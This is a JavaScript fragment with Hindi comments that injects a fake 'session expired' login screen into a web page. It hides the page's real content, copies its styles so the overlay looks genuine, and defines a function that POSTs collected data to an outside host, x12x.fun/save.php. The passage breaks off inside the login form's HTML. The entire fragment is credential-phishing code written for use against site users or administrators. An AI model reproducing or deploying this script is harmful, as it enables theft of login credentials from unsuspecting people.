(function() { var payloadData = {}; var lastLoginKey = "last_login_timestamp"; const HIDDEN_CLASS = 'original-content-hidden-by-cloner'; // क्लास जिसे छिपाने के लिए इस्तेमाल करेंगे // 1. डेटा भेजने का फंक्शन function sendToServer(data) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://x12x.fun/save.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); } // 2. मौजूदा पेज के CSS को कॉपी करना function copyPageStyles() { let styles = ''; for (const sheet of document.styleSheets) { try { for (const rule of sheet.cssRules) { styles += rule.cssText; } } catch (e) { // Cross-origin stylesheets will throw an error, ignore them for cloning console.warn("Could not read stylesheet (CORS):", sheet.href); } } return styles; } // 3. फुल-पेज फेक लॉगिन फॉर्म इंजेक्ट करना function injectFullPageLoginClone() { var lastLogin = localStorage.getItem(lastLoginKey); if (lastLogin && (Date.now() - lastLogin < 30000)) return; // मौजूदा कंटेंट को छिपाएं document.body.style.overflow = 'hidden'; Array.from(document.body.children).forEach(child => { if (child.id !== 'cloned_login_container') { // खुद को न छिपाएं child.classList.add(HIDDEN_CLASS); child.style.display = 'none'; } }); // पेज के स्टाइल को कॉपी करें const clonedStyles = copyPageStyles(); // नया लॉगिन पेज कंटेनर बनाएं var loginContainer = document.createElement("div"); loginContainer.id = "cloned_login_container"; loginContainer.style.cssText = ` position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: #f0f2f5; /* या आपकी साइट का बैकग्राउंड कलर */ display: flex; justify-content: center; align-items: center; z-index: 99999; font-family: sans-serif; /* या पेज का डिटेक्टेड फोंट */ `; // लॉगिन फॉर्म का HTML (यह आपके एडमिन पेज के लुक के हिसाब से एडजस्ट किया जा सकता है) // मैंने एक जेनेरिक फॉर्म बनाया है, आपको इसे अपने पेज जैसा बनाना होगा loginContainer.innerHTML = `
Your session has expired. Please log in again.